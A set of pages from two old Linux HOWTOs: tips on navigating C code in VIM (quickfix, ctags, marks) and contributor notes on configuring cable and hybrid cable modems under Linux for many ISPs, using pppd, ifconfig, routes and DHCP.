After setting makeprg, you can just call the make command and quickfix will come into play.

After you have corrected the first error, the next thing to do would be go to the next error and correct that. The following command is used go to the next error. :cn

To go back, you can use the command :cN

Let me demonstrate this using an example. Consider the following code

Figure 11. Quickfile Program Listing

As you can see there is an error on line number 5. The file is saved as test.c and makeprg is set using the command

     :set makeprg=gcc\ test.c

Next the make command is invoked using the command :make. gcc gives an error and the output of the make command is something like this

Figure 12. :make error

On pressing RETURN, the cursor moves to line number 6.

Now, the command :cn will move the cursor to the line number 4.

To move back to the previous error, one can use the command :cN and the cursor will move back to the line 6.

After correcting the error on line 5 and adding "return 1;", one can run :make again and the output will be

Figure 13. No Error

That was just a small example. You can use quickfix to solve your compile time problems and hopefully reduce the edit-compile-edit cycle.

Prev | Home | Next
Multi-file editing |  | Copyright


Jumping to random positions in C files

C editing with VIM HOWTO
Prev Next

3. Jumping to random positions in C files

3.1. ctags

A Tag is a sort of placeholder. Tags are very useful in understanding and editing C. Tags are a set of book-marks to each function in a C file. Tags are very useful in jumping to the definition of a function from where it is called and then jumping back.

Take the following example.

Figure 6. Tags Example

Lets say that you are editing the function foo() and you come across the function bar(). Now, to see what bar() does, one makes uses of Tags. One can jump to the definition of bar() and then jump back later. If need be, one can jump to another function called within bar() and back.

To use Tags one must first run the program ctags on all the source files. This creates a file called tags. This file contains pointers to all the function definitions and is used by VIM to take you to the function definition.

The actual keystrokes for jumping to and fro are CTRL-] and CTRL-T. By hitting CTRL-] in foo() at the place where bar() is called, takes the cursor to the beginning of bar(). One can jump back from bar() to foo() by just hitting CTRL-T.

ctags are called by

        $ ctags options file(s)

To make a tags file from all the *.c files in the current directory all one needs to say is

        $ ctags *.c

In case of a source tree which contains C files in different sub directories, one can call ctags in the root directory of the source tree with the -R option and a tags file containing Tags to all functions in the source tree will be created. For Example.

        $ ctags -R *.c

There are many other options to use with ctags. These options are explained in the man file for ctags.

3.2. marks

Marks are place-holders like Tags. However, marks can be set at any point in a file and is not limited to only functions, enums etc.. Plus marks have be set manually by the user.

By setting a mark there is no visible indication of the same. A mark is just a position in a file which is remembered by VIM. Consider the following code

Figure 7. The marks example

Suppose you are editing the line x++; and you want to come back to that line after editing some other line. You can set a mark on that line with the keystroke m' and come back to the same line later by hitting ''.

VIM allows you to set more than one mark. These marks are stored in registers a-z, A-Z and 1-0. To set a mark and store the same in a register say j, all one has to hit is mj. To go back to the mark one has to hit 'j.

Multiple marks are really useful in going back and fro within a piece of code. Taking the same example, one might want one mark at x++; and another at y=x; and jump between them or to any other place and then jump back.

Marks can span across files. To use such marks one has to use upper-case registers i.e. A-Z. Lower-case registers are used only within files and do not span files. That's to say, if you were to set a mark in a file foo.c in register "a" and then move to another file and hit 'a, the cursor will not jump back to the previous location. If you want a mark which will take you to a different file then you will need to use an upper-case register. For example, use mA instead of ma. I'll talk about editing multiple files in a later section.

3.3. gd keystroke

Consider the following piece of code.

Figure 8. The third example

For some reason you've forgotten what y and z are and want to go to their declaration double quick. One way of doing this is by searching backwards for y or z. VIM offers a simpler and quicker solution. The gd keystroke stands for Goto Declaration. With the cursor on "y" if you hit gd the cursor will take you to the declaration :- struct Y y;.

A similar keystroke is gD. This takes you to the global declaration of the variable under the cursor. So if one want to go to the declaration of x, then all one needs to do is hit gD and the cursor will move to the declaration of x.

Prev | Home | Next
Moving around. |  | Auto-Completing Words


References

C editing with VIM HOWTO
Prev

9. References

You can get more information on VIM and download it at http://www.vim.org

Prev | Home
Copyright |


Setting up your Ethernet Card

Cable Modem Providers HOWTO
Prev Next

2. Setting up your Ethernet Card

All of the setups below use ethernet cards (network cards) to connect you somehow to the Internet. That is why first we need to check if your ethernet card is working and most importantly can be used (read is supported) in Linux. There is a comprehensive Ethernet HOWTO at http://www.linuxdoc.org/HOWTO/Ethernet-HOWTO.html if you would like to read it otherwise try this.

Boot into Linux, During boot up a message like this should appear...

eth0: 3c509 at 0x300 tag 1, 10baseT port, address  00 20 af ee 01 23, IRQ 10.
3c509.c:1.07 6/15/95 becker@cesdis.gsfc.nasa.gov

If you missed it type dmesg.

If you see a message like that you are set and you can go to the next section. If you can't see a message like this there are two possible explanations, your ethernet card is PNP (plug-n-play) and you need to use tools such as isapnptools to get it recognized (I am not quite sure on this because I don't have a single PNP card so correct me if I am wrong). The other explanation is that you need to set up your card.

Most cards today come with DOS programs that are used to setup your card. For example to get my 3COM 3c509 to work all I needed to do is boot into DOS and use a utility to configure my card. There is usually a Auto Configure option. If that does not solve your problem try changing the IRQ for the card using the same utility. I find that usually IRQs 10,11 and 12 work well. If none of this solves your problem please read the Ethernet HOWTO referenced above or post to a newsgroup such as comp.os.linux.setup or comp.os.linux.networking.

Prev | Home | Next
Introduction |  | Regular Cable Modem ISPs


Hybrid Cable modem ISPs

Cable Modem Providers HOWTO
Prev

4. Hybrid Cable modem ISPs

If you think you have the card recognized you have to now look at the entry for your ISP. I have sorted the information according to a provider because setups are mostly ISP specific.

This section is for people who are using so-called "hybrid" cable modems. Hybrid modems are modems that need two hookups (connections), one to the (TV) cable and one to the phone line. TV cable is used for downloading while phone line is used for uploading.

4.1. Adelphia Powerlink, USA

Instructions on how to get your Adelphia Powerlink hybrid modem running under Linux can be found at http://linuxpower.cx/~cable/

4.2. LinkExpress, Brasil

This information is provided by Rodrigo Severo <rodrigo@who.net>:

First of all, let me tell you that here we have the MMD Cable Modem from General Instrument. We use SurfBoard 1000 ISA board for download and a regular telephone modem for upload. I would prefer to use an external board like the SurfBoard 1200 which is available only to corporate users, i.e., willing to pay US$ 200,00 instead of the regular US$ 30,00 so I found out this driver for the internal ISA board. For home users, Linkexpress (my ISP) just installs and supports the internal ISA board - Surfboard 1000. If you want to use it, you have to install Windows 95/98 on your computer and let the guy from Linkexpress install the equipment. After that, make your Linux installation as you like.

I started from the files I downloaded from http://linuxpower.cx/~cable/.

Here is the relevant data:

  • ISP: LinkExpress http://www.linkexpress.com.br

  • DNS: 200.252.88.20

  • Frequency: 351 MHz

  • Phone number: 321 3300

  • City: Brasilia

  • Province: Distrito Federal

  • Upload speed: regular 33.6K (just the download goes through the cable modem)

During a download from a local tucows mirror I got 70KB~300KB per second. From distant sites I managed to get 30KB/s a few times.

More information about LinkExpress can be found at http://www.linkexpress.com.br/.

4.3. ExpressNet, Maryland

I recently accuired an expressnet cable modem for the maryland area. it is a com21 one way modem and I had a hell a time making it work so id like to share my knowledge in your faq maybe? well heres what I learned inorder for the PPP connection to authenticate the user must be running PAP which consists of editing the /etc/ppp/pap-secrets file accordingly:

#/etc/ppp/pap-secrets
#this is the PAP secrets file for PPP
#the quotes are required on both
"username"      *       "password"

after that they must create a PPP-on script what ever name it must execute this command:

exec /usr/sbin/pppd debug persist /dev/ttyS1 38400 0.0.0.0:0.0.0.0 connect "chat -v TIMEOUT 3 ABORT 'BUSY' ABORT 'NOANSWER' '' ATH TIMEOUT 30 'OK' ATDTTELEPHONE CONNECT ''"

this must be done with no carrage returns either

next step is to modify the /etc/ppp/ip-up.local file if it does not exist it should be created it should read the following:

#!/bin/bash
#/etc/ppp/ip-up.local
#this will set up the route to the ppp device as default everytime the modem
#authenticates dont include it if you do not want this option
route add default ppp0

then the user must configure their ethernet card on box I have a 3c905.

I configured it the following way:

ifconfig eth0 up
ifconfig eth0 10.0.0.1 broadcast 10.0.0.15 netmask 255.255.255.240

then I added some more routes to the kernel routing table as follows:

route add -host 10.0.0.1 eth0
route add -net 10.0.0.0 eth0

all of these commands can be added into a script file as follows

#!/bin/bash
#This is a script file for establishing the cable modem IF device properties as
#well as the route properties
ifconfig eth0 up
ifconfig eth0 10.0.0.1 broadcast 10.0.0.15 netmask 255.255.255.240
route add -host 10.0.0.1 eth0
route add -net 10.0.0.0 eth0

thats all and the cable modem connection is setup fast as hell I might add.

Contributors: Chris <chris@wrm.grdn.net> and Mike Milbert <mike@milbert.com>.

4.4. Charter Pipeline, Riverside, CA

This information is provided by Gabriel Peters <gpx1@earthlink.net>:

(I have Charter Pipeline, Powered by Earthlink, Riverside, CA) The modem is a Com21 ComPORT 2000.. connected to the computer via 10 BaseT ethernet cable to a Linksys 10/100 ethernet card (Cable modem, ethernet cabling, and ethernet card supplied) The ethernet card driver that I had to compile into the kernel was for the DEC Tulip. auto-detected the card and set it up nicely.

This is the information I needed:

eth0 IP address - 10.0.0.1
DNS Servers - 207.217.126.81, 207.217.120.83
Subnet Mask - 255.255.255.240
Gateway: None
Your hostname should be CBL-(your username).hs.earthlink.net

Then you need to configure PPP to dial up your access number as normal.. What I had to do to get it to work was this: I typed ifconfig eth0 down to shutdown the ethernet, ppp-go to dial in, once it reported my IP addresses, i typed ifconfig eth0 up and voila, it worked perfectly.

Editor's comment:

Each time PPP link is brought up or down pppd executes scripts /etc/ppp/ip-up (link up) and /etc/ppp/ip-down (link down) so in order to have Ethernet network go up and down with PPP link simply add:

ifconfig eth0 up

before exit 0 statement in /etc/ppp/ip-up and ifconfig eth0 down in ip-down.

4.5. Chambers Cable, Chico, CA / Fundy Cable, New Brunswick

This information is provided by Brian Moore <bem@cmc.net>:

For those using Chambers Cable in Chico, CA, the product is the Scientific Atlanta data Xcellerator(tm) modem. Mike Cumings of Cal State University wrote a nifty driver for it, available at http://www.ecst.csuchico.edu/~mcumings/cablemodem/. This should also work for others using the same modem, such as Fundy Cable of New Brunswick. If you encounter problems compiling the client program from the above address try a client provided by Timothy Legge <tlegge@fundy.net> at http://user.fundy.net/tlegge/DataX/cable0.99-1.tar.gz

4.6. Smyrna Cable, Atlanta, GA

This information is provided by Blake Sorensen <librarian@unseen.net>:

I have Smyrna Connect, supported by Smyrna Cable in Atlanta, GA. They are currently (June, 1999) using half-duplex but are scheduled to have full-duplex within six months. The Cable Modem is a ComPort Com21. Here is the configuration stuff I needed to get my linux box running as my dialup.

My eth0 device is a 3com ISA card set to IP 10.0.0.1, Bcast 10.0.0.255, Mask 255.255.255.0.

The machine is set to the hostname Smyrna418.smyrnacable.net where Smyrna418 is my username. I don't think this is that important, but I haven't fiddled with it to see if it will still work once I change the hostname.

My modem is an external 56K X2 US Robotics on /dev/ttyS0.

I also have eth1 (a DEC tulip based pci card) set up as 192.168.0.1 as the gateway for the rest of my network to masquerade behind.

Smyrna Connect does not give you DNS info for the cablemodem since you are supposed to use the Windows PPP feature of using the default DNS for the server you dial in to. However, they do have one that works at 209.116.152.252.

I use a ppp connection script to dial in, but the guts of it is this:

/usr/sbin/pppd modem /dev/ttyS0 persist mru 1000 asyncmap 0 \
-detach crtscts user Smyrna??? defaultroute connect '/usr/sbin/chat \
ABORT BUSY ABORT ERROR "" ATZ OK ATDT7704365664 CONNECT' \
57600 0.0.0.0:0.0.0.0 &

I keep the persist in there since Smyrna Connect has a habit of dropping the connection every once in awhile, and this way it automatically dials back in. You will need to replace the Smyrna??? in the above command with your own username and put the line:

Smyrna???       Smyrna???       password

in the file /etc/ppp/pap-secrets.

4.7. Amnet de Costa Rica, Costa Rica

This information is provided by Roberto Salvatierra <chuby@internettico.com>:

Ok to set up a Hybrid cable modem conection using Costa Rica's Amnet Provider is not all that hard ( once you get the hang of it ) is like the other providers that use com21 modems, but with some minor diferences.

My Hardware is:

CableModem: Com21 ComPort 1000
Modem     : Rockwell 56k
Ethernet  : Ne2k PCI clone
Machine   : i386
Os        : Debian 2.1
Kernel    : either a 2.2.x or a 2.3.x*

The first thing I did was disable my whole networking system, mainly because i had a real mess on my routing tables, hosts, and resolv.conf files ( I was using several ISP's and an intranet ) so I opted for this but that was just me, I even stopped lo so I started with a clean config.

okey first of all if you have a dual system ( win/linux ) make sure the system is working under windows, that way we can make sure everything is up and running, after that, reboot to linux**.

If you don't have a dual system I found something interesting that MIGHT help you state if the cablemodem and the eth card are functional, first, type this on your system:

ifconfig eth0 up
ifconfig eth0 10.0.0.1 netmask 255.255.255.240
route add -host 10.0.0.1 eth0

after that look in your system log files for pings from 10.0.0.4 ( I have no idea why but this machine keeps "pinging" my box ,I asked amnet's help desk what was this all about, and they didn't give me an answer I guess they do It to check the network integrity) well anyhow, if you get this pings means that amnet connection is working okey.

well after we have stated that the cable modem is up and running the rest is quite easy.

if you did the above step now lets bring eth0 down ( ifconfig eth0 down )

first lets place amnet's DNS where it sould be in /etc/resolv.conf so we need to add this:

search amnet.co.cr
nameserver 196.40.3.10

okey now we need a ppp script for the modem

this one works: ( we all use the same username "amnet" and password "conexion" so for this to work just cut and paste)

exec /usr/sbin/pppd /dev/ttyS1 57600 0.0.0.0:0.0.0.0 debug user amnet
defaultroute connect "chat -v TIMEOUT 60 ABORT 'BUSY' ABORT 'NOANSWER' ''
ATH TIMEOUT 60 'OK' ATDT2969130 CONNECT ''"

amnet uses PAP (password authentication protocol) to authenticate users so we need to add a line to /etc/ppp/pap-secrets:

"amnet" * "conexion"

okey now you need to bring ppp up so just run that script to check that it works type: ifconfig, now you should have something like this:

ppp0      Link encap:Point-to-Point Protocol
          inet addr:196.40.3.177  P-t-P:196.40.30.114  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
          RX packets:7 errors:1 dropped:0 overruns:0 frame:1
          TX packets:9 errors:0 dropped:0 overruns:0 carrier:0
          Collisions:0

Important: make sure at this point that you do not have eth0 up or it WILL NOT WORK

okey after you have this working type this:

ifconfig eth0 up
ifconfig eth0 10.0.0.1 netmask 255.255.255.240
route add -host 10.0.0.1 eth0

now type ifconfig you should have something like this:

eth0      Link encap:Ethernet  HWaddr 00:00:21:61:7C:F0
          inet addr:10.0.0.1  Bcast:10.255.255.255  Mask:255.255.255.240
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5594 errors:0 dropped:0 overruns:0 frame:0
          TX packets:241 errors:0 dropped:0 overruns:0 carrier:0
          Collisions:0
          Interrupt:11 Base address:0xde00

ppp0      Link encap:Point-to-Point Protocol
          inet addr:196.40.3.142  P-t-P:196.40.30.114  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
          RX packets:7 errors:2 dropped:0 overruns:0 frame:0
          TX packets:65 errors:0 dropped:0 overruns:0 carrier:0
          Collisions:0

and voila , your conection is up and running !!

some tips:

when you are not connected your eth should be DOWN activate eth only AFTER ppp is running OR IT WILL NOT WORK.

To make this you can add the eth up and down scripts to /etc/ppp/ip-up and /etc/ppp/ip-down scripts ( on debian just place them on /etc/ppp/ip-up.d and /etc/ppp/ip-down.d )

ip-up should contain this:

ifconfig eth0 up
ifconfig eth0 10.0.0.1 netmask 255.255.255.240
route add -host 10.0.0.1 eth0

and ip-down this:

ifconfig eth0 down

now here is a WORKING route table that might help you troubleshooting the system: ( my HOSTN = hostname )

Destination     Gateway         Genmask         Flags Metric Ref    Use
Iface
HOSTN.amnet.co. *               255.255.255.255 UH    0      0        0 eth0
196.40.30.114   *               255.255.255.255 UH    0      0        0 ppp0
HOSTN.amnet.co. *               255.255.255.240 U     0      0        0 eth0
default         196.40.30.114   0.0.0.0         UG    0      0        0 ppp0

Relevant Information:

DNS      : 196.40.3.10
----- eth0 -----
IP       : 10.0.0.1
NetMask  : 255.255.255.240
Bcast    : 10.255.255.255
Gateway  : NONE
----- ppp ------
IP       : 196.40.X.X (Dhcp Pool)
NetMask  : 255.255.255.255
Bcast    : Unknown
Gateway  : Self Default

that's all folks !!

if you need this in spanish look for it in: http://www.internetTICO.com/cablemodem.html

Questions/comments: <chuby@internettico.com>. Please use the subject CABLEMODEM or I will not answer.

Biography: Linux Cable Modem mini-how-to Chapter: Hybrid cable modems sections, 4.2 and 4.4

* about using 2.3.x kernels, this are unstable as anyone knows but I found that the performace with this kernel and amnet is LOUSY ( like a 14K modem ) I DO NOT RECOMEND USING IT, but anyhow if you do use it and you get that your machine does not have ppp do not panic just upgrade your pppd program, 2.3.x kernels use a split async sync interface so pppd < 2.3.10 will NOT work.

** sometimes when I'm using the cable modem on windows and I reboot to linux the modem gets "stupid" so I need to turn off the modem, the machine, then turn on the modem and restart the machine after that it always work. I have no Idea why this happens but I'm guessing that the ethernet card has a different hardware address on windows and linux (wierd) and that the modem keeps this config on an memory, and that it needs to be cleand up for it to work, so if it was working on windows and you are not getting even a ping on linux try this.

More info about Amnet can be obtained at http://www.amnet.co.cr/.

4.8. Prime Cable, Chicago, IL

This information is provided by Eric Agnew <agnew@goku.dyndns.org>:

I just got a hybrid com21 setup w/ Prime Cable in Chicago, and I have a very important addition that will save other users (particularly debian users w/ newer kernels) a LOT of grief:

When I initially set everything up, I was able to establish the ppp connection just fine, but the only things coming back over eth1 were broadcast packets from an internal (10.0.0.x) network. After 3 weeks of extreme frustration, I finally found the solution in the kernel docs under Documentation/networking/README.sb1000:

Solution -- As root type:

echo 0 > /proc/sys/net/ipv4/conf/cm0/rp_filter'

so it can share the same IP address as the ppp0 interface.

The boot-time script that sets this normally on debian systems is in /etc/init.d/networking, in the 'spoofprotect_rp_filter' function. I simply added 'echo 0 > /proc/sys/net/ipv4/conf/eth1/rp_filter' after it had done everything else. To be sure, I also added it to a script I added to /etc/ppp/ip-up.d that brought eth1 up if I was using the cable connection (as opposed to my other straight-ppp connection).

4.9. Millennium Digital Media, Maryland

This information is provided by Mike Miller <CableModem@mikemiller.net>:

I live in Maryland (Anne Arundel County) where my cable company is Millennium Digital Media ( http://millenniumdigitalmd.com/ ), which offers Cable Modem service from Cablespeed ( http://cablespeed.com/ ). Since most areas aren't currently upgraded to 2-way digital service, for now they're giving us a General Instruments SURFboard SB2100D external (hybrid) cable modem (which includes a 33.6 modem), so you plug the cable and phone line right into the cable modem -- no need to use your own modem or set up ppp or anything. The modem uses DHCP to determine all the settings and connect to the network, so all I have to do it switch on the modem and it automatically dials up and connects to the network. To get Linux working, all I had to do was load and configure dhcpd (or dhcp-client). Since I'm using Debian, all I ran was:

   apt-get install dhcp-client

and voila! I was on the net.

If you're running something other than Debian, please read DHCP mini-HOWTO at http://www.oswg.org/oswg-nightly/DHCP.html.

4.10. Rock Hill Telephone (RHTC) and Fort Mill Telephone (FMTC), South Carolina

This information is provided by Ryan T Rhea <rhear@ruby.winthrop.edu>:

Rock Hill Telephone (RHTC) and Fort Mill Telephone (FMTC) offer hybid cable modem access through a partnership with the Info Avenue ISP. The cable modem is built by Hybrid, and offers high bandwidth downstream over the cable line (I've seen 900+ kpbs), and upstream over the builtin modem (around 33.6 kbps). The cable modem connects to an ethernet 10baseT card and a regular phone line. The cable modem acts as a router from your machine to the internet.

RHTC and FMTC 's tech support is performed by Info Avenue, and they offer no support for Linux whatsover. They were unable to provide any help or documentation regarding Linux and cable modems. Luckily, I was aware through my initial Win NT setup (as I looked over the tech's shoulder) that DHCP was used to assign IP addresses and DNS information. What I had to learn the hard way was that the cable modem apparently relies on the MAC address of the NIC that it is originally installed on. In otherwords, when I went to move the cable modem from my NT machine (which was using a proxy server and a second NIC to share internet access) to my new Linux firewall, I had to move the NIC into the new Linux computer. Without the same NIC, the network link light on the back of the cable modem will never come on, and the modem will not communicate with your computer at all. I assume if you bought a new computer with a new NIC, you could call RHTC or FMTC and ask them to update your MAC, however, they would probably not know what you were talking about, and want to send a technician. When the technician gets there, expect "we do not support Linux" to be the first words out of his mouth.

Anyway, after installing the original NIC (which probably won't be a problem for most of you, because you only have 1 NIC in your computer - which the tech setup under Windows), all I had to do was configure DHCP. Considering my NIC was already working under Linux, my Mandrake Linux distribution made this especially easy. I just type 'netconf', then choose 'Basic Host Information', then enable DHCP for the NIC in question (in my case 'Adapter 1'). The program should restart the device for you, if not, you may need to reboot, or manually restart the device with ifconfig.

If you have trouble with DHCP you could check out DHCP mini-HOWTO.

Prev | Home
Regular Cable Modem ISPs |


Cable Modem Providers HOWTO

Vladimir Vuksan

vuksan@veus.hr

Revision History
Revision v4.30 June 13, 2001 Revised by: vv
Many different updates.

This document attempts to answer basic questions on how to connect your Linux box to cable modem or cable Internet provider.

Table of Contents
1. Introduction
1.1. New Versions of this Document
1.2. Feedback
1.3. Contributors
1.4. Standard Disclaimer
1.5. Copyright Information
2. Setting up your Ethernet Card
3. Regular Cable Modem ISPs
3.1. ATT (formerly MediaOne)
3.2. @Home
3.2.1. Notes from Hampton Roads VA, Phoenix AZ, Arlington TX and Champaign/Urbana IL
3.2.2. Notes for Baltimore, MD and Colleyville,TX
3.2.3. Notes for Milpitas, CA, USA
3.2.4. Notes for Salt Lake City, UT, USA
3.2.5. Notes from Connecticut, USA
3.2.6. Notes from Dallas, TX or anyone using Motorola CyberSurfr
3.2.7. Notes from Louisville, KY by Devin Bundrent < mrscoobdoo@home.com>
3.2.8. Notes from Madison, WI and Lakeridge, VA
3.2.9. Notes from Baton Rouge, LA by Van Goodwin < positron@redstroke.com>
3.2.10. Notes from Richmond, VA and its surroundings by Robert Marshall < no_robmars_spam@yahoo.com>
3.2.11. Notes from Mobile, Alabama R. Jason Valentine < miracle@procyon.com>:
3.2.12. Notes from Auburn, Alabama by Andrew W. Jones < andywjones@home.com>
3.2.13. Notes from Santa Barbara, California by Tim Newsome < nuisance@DELETE_BEFORE_SENDINGcmu.edu>
3.2.14. Notes from Connecticut, USA
3.3. RoadRunner
3.4. Rogers@Home
3.5. Sunflower Cablevision
3.6. Jones Intercable
3.7. GTE Worldwind
3.8. SpeedChoice, Phoenix, Arizona
3.9. Cedar Falls Utilities Cybernet, Cedar Falls, Iowa
3.10. Telstra Big Pond Advance, Australia
3.11. Fibertel, Buenos Aires, Argentina
3.12. Videotron (Videon), Canada
3.13. Telekabel (Teleweb), Austria
3.14. Shaw Cable, Canada
3.15. Cogeco Cable, Canada
3.16. Optimum Online, New York and Connecticut
3.17. Singapore Cable Vision, Singapore
3.18. Cable Wanadoo, France and Netherlands (formerly Casema)
3.19. Prime Cable Expressnet, Las Vegas, NV
3.20. Chello Belgium, formerly TVD, Belgium
3.21. Telenet Vlaanderen, Belgium
3.22. Total-Web, United States
3.23. CyberCable, Paris, France
3.24. Chello (UPC) Stockholm, Sweden (formerly StjärnTV)
3.25. GCI.Net, Alaska
3.26. Saturn Communication NZ Ltd, New Zealand
3.27. Chello, Netherlands
3.28. Adelphia Powerlink, USA
3.29. 21st Century Telecom, Chicago, IL, USA
3.30. HTVi, Helsinki, Finland
3.31. Garden State Cable, New Jersey
3.32. Zoom Internet, Butler County, PA
3.33. Charter Pipeline
3.34. Netcabo, TV Cabo, Portugal
3.35. Supercable, Spain
3.36. NTL, United Kingdom
3.37. Virtua, São Paulo, Brazil
3.38. Hathway, Bombay, India
3.39. Siti Cable, Bangalore, India
3.40. Com Hem, Sweden
3.40.1. 1. Setting up a single node
3.40.2. 2. Connecting your home LAN (if you have more than one machine)
3.40.3. You from the internet
3.40.4. Problems:
3.41. SwissOnLine HiSpeed Internet, Switzerland
3.42. Liwest, Austria
3.43. Blueyonder from Telewest, United Kingdom
3.44. CableNet, Colombia
3.45. Brutele, Belgium
3.46. Optus @Home, Australia
3.47. Destiny Cable, Philippines
3.48. Retecal, Spain
3.49. Netvisao, Portugal
3.50. Longview Cable - Cablelynx
3.51. Soon Communications Plc, Finland
3.52. InstaNet, Oregon
4. Hybrid Cable modem ISPs
4.1. Adelphia Powerlink, USA
4.2. LinkExpress, Brasil
4.3. ExpressNet, Maryland
4.4. Charter Pipeline, Riverside, CA
4.5. Chambers Cable, Chico, CA / Fundy Cable, New Brunswick
4.6. Smyrna Cable, Atlanta, GA
4.7. Amnet de Costa Rica, Costa Rica
4.8. Prime Cable, Chicago, IL
4.9. Millennium Digital Media, Maryland
4.10. Rock Hill Telephone (RHTC) and Fort Mill Telephone (FMTC), South Carolina
Next
Introduction


Introduction

Cable Modem Providers HOWTO
Prev Next

1. Introduction

The main goal of this document is to get your system running with your cable modem, and cable internet provider. Unfortunately, many ISPs that provide cable modem services, give you Windows and Macintosh software only.

This document attempts to explain how to setup some cable modems and internet providers in Linux, the tricks to get them working correctly, and the traps not to fall down. It is hoped that this document will assist you, however we make no claims for the validity of the information contained within.

1.1. New Versions of this Document

The newest version of this HOWTO will always first be made available on

http://www.cs.unm.edu/~vuksan/linux/Cable-Modem.html

1.2. Feedback

Feedback is most certaintly welcome for this document. Without your submissions and input, this document wouldn't exist. So, please send your additions, comments and criticisms to <vuksan-feedback@veus.hr>.

1.3. Contributors

The following people have contributed to this mini-HOWTO.

  • Dan Sullivan <dsulli@home.com>

  • Andrew Novick

  • Michael Strates

1.4. Standard Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, I don't take any responsibility for that.

Also bear in mind that this is NOT official information. Obtaining official information is usually an impossibility with many ISPs. Much content in this document are assumptions, which appear to work for people. Use the information at your own risk.

1.5. Copyright Information

This document is copyrighted (c) 1998 Vladimir Vuksan and distributed under the terms of the OpenContent License (OPL). Full text of the license can be found at http://www.opencontent.org/opl.shtml

Prev | Home | Next
Cable Modem Providers HOWTO |  | Setting up your Ethernet Card


Regular Cable Modem ISPs

Cable Modem Providers HOWTO
Prev Next

3. Regular Cable Modem ISPs

If you think you have the card recognized you have to now look at the entry for your ISP. I have sorted the information according to a provider because setups are mostly ISP specific.

3.1. ATT (formerly MediaOne)

MediaOne Express is a Internet cable service provided by MediaOne. The hardware setup consists of a cable modem produced by LanCity or General Instruments which plugs into an ethernet card using a 10BaseT (UTP-45) cable. Assignment of IP addresses and other networking information is done using DHCP which stands for Dynamic Host Configuration Protocol. The only thing you need to do is read the DHCP mini-HOWTO and configure your system appropriately. There is no other necessary configuration. DHCP mini-HOWTO can be found at http://www.oswg.org/oswg-nightly/DHCP.html.

Most of Mediaone/RoadRunner tracks you're MAC (ethernet) address, and won't allow any other MAC address to use the CableModem.

To get around this you could either call Mediaone and ask them to change you're MAC address to you're current one. They do allow you to have multiple allowed MAC addresses, but they might not allow more than two. Other approach is to tell your ethernet card what MAC address to use. Most cards will allow it. So first make sure you write down the MAC address of the card you used when Mediaone technicians showed up and they type something like this:

ifconfig eth0 hw ether 00:23:56:74:25:12

Additional notes by Peter Zurich:

Pump will not work without specifying the hostname ("-h fubar") on the command line. It doesn't seem to matter what exactly you give it as the hostname, as long as you give something.

Notes from Seattle, Washington area

You have to supply the -h option to dhcpcd if you want to get your service running. "windowsidentification" is the one ATT provides you and is REQUIRED for it to work. it ends in a "-a". For example

dhcpd -h {windowsidentification -->'cXXXXXX-a'} eth0

Alternatively if you would like to use pump check out the notes of user in Mobile, Alabama.

Information about ATT Broadband can be found at http://www.broadband.att.com.

3.2. @Home

@Home uses a similar setup to ATT (formerly MediaOne). However, there are a few fundamental differences, outlined by contributors. Since @Home spans different geographic locations you might get assigned different kind of equipment and have slightly different kind of setups.

Before you try anything, go to control panel, network, and properties for your network card. Write down all of the information. You will need it later.

TCI, the company that runs @Home issues a Etherlink III 3c509b NIC for all of their customers. What TCI does not tell you is that when they install your ethernet card, it is in PnP mode. Now in Slakware, if you uncomment the proper line for this card, everything will appear to be working fine. There will be no system problems, but the 'PC' light on your CyberSURFR modem will never turn on. If you are using Slakware, and are having this problem, reboot in DOS and skip the next paragraph.

In RedHat 5, your system will have some trouble autodetecting the card. If you try to pass the paramaters manually, the system will hang. This should be obvious that your card is not setup properly. Before wasting anymore time, reboot in DOS (This is a must because as of 12/25/97, there is no utility written for Linux to turn off PnP and turn on ISA.)

TCI does not give out a utility disk for your ethernet card, so you must download the utility from one of 3Com's sites. Here is a link to 3COM's page for driver download.

http://support.3com.com/infodeli/tools/nic/index.htm

Once you have downloaded your driver files you will need to run them and disable the PNP mode of your network card.

What you've now done will make your ethernet card 'broken' in Windows 95. You'll need to go to Control Panel, Network, and remove the network card and the adapter. Reboot your computer, and again go back to control panel. Go to add/remove new hardware, and have it autodetect. It will automatically setup the correct i/o address for you. You will most likely need to reboot again. Now you should be in Windows 95, with the 'PC' light on your cable modem on. You will also notice that none of your internet applications seem to work, you can't ping, and you can't resolve DNS. You now must go back to control panels, network, and click on properties for your network card (not the adapter). Re-enter all the data you wrote down, and reboot.

With a little luck, your ethernet card should be working in Windows 95, and ready to rock in Linux.

3.2.1. Notes from Hampton Roads VA, Phoenix AZ, Arlington TX and Champaign/Urbana IL

With the @home service in Hampton Roads, VA, it is absolutly neccessary to run dhcpcd-0.70 (or higher) that supports the "-h" option to specify the hostname of your computer. Without this switch the @home dhcpcd server will not assign addresses.

@Home user from Hampton Roads Scott Stancil <sstancil@home.com> has provided an RPM that can be used to easily configure @Home connection. Check it out at http://www.linuxforum.com/plug/projects.html

More information on setting up dhcpcd-0.70 and @Home service with Intel Ether Express cards can be found at http://www.monmouth.com/~jay/Linux/

3.2.2. Notes for Baltimore, MD and Colleyville,TX

In Baltimore subscribers are issued Intel Ether Express Pro 10 nics and a static IP number.

3.2.3. Notes for Milpitas, CA, USA

Information provided by Joe Byrne

@Home service assignes 3Com 509b cards. IP addresses assigned statically.

3.2.4. Notes for Salt Lake City, UT, USA

Information provided by <akaiceman@hotmail.com>.

@home (at least in the Salt Lake City, Utah areas, i'm not sure if this is everywhere yet) has started giving out 3com 900B NIC's, unless you ask for a ISA card in particular. 3COM 900B are PCI based ethernet cards which might require kernel recompilation.

3.2.5. Notes from Connecticut, USA

Information provided by <dan@sidhe.org>.

The @Home folks are using Motorola cable modems (I know, I got one) in addition to any other brand folks have reported. If it's getting hooked into a hub it needs to either get plugged in with a twisted-pair cross-over cable or go into the 'to other hubs' port if your hub has one. (Which is standard, I expect, for these things, but useful to keep in mid if, like me, you're hooking the thing on to an existing local network) I have a plain Compaq 10/100 ethernet card (I think it's the NC3131, but I'm not 100% sure) in my linux box and it worked without a hitch.

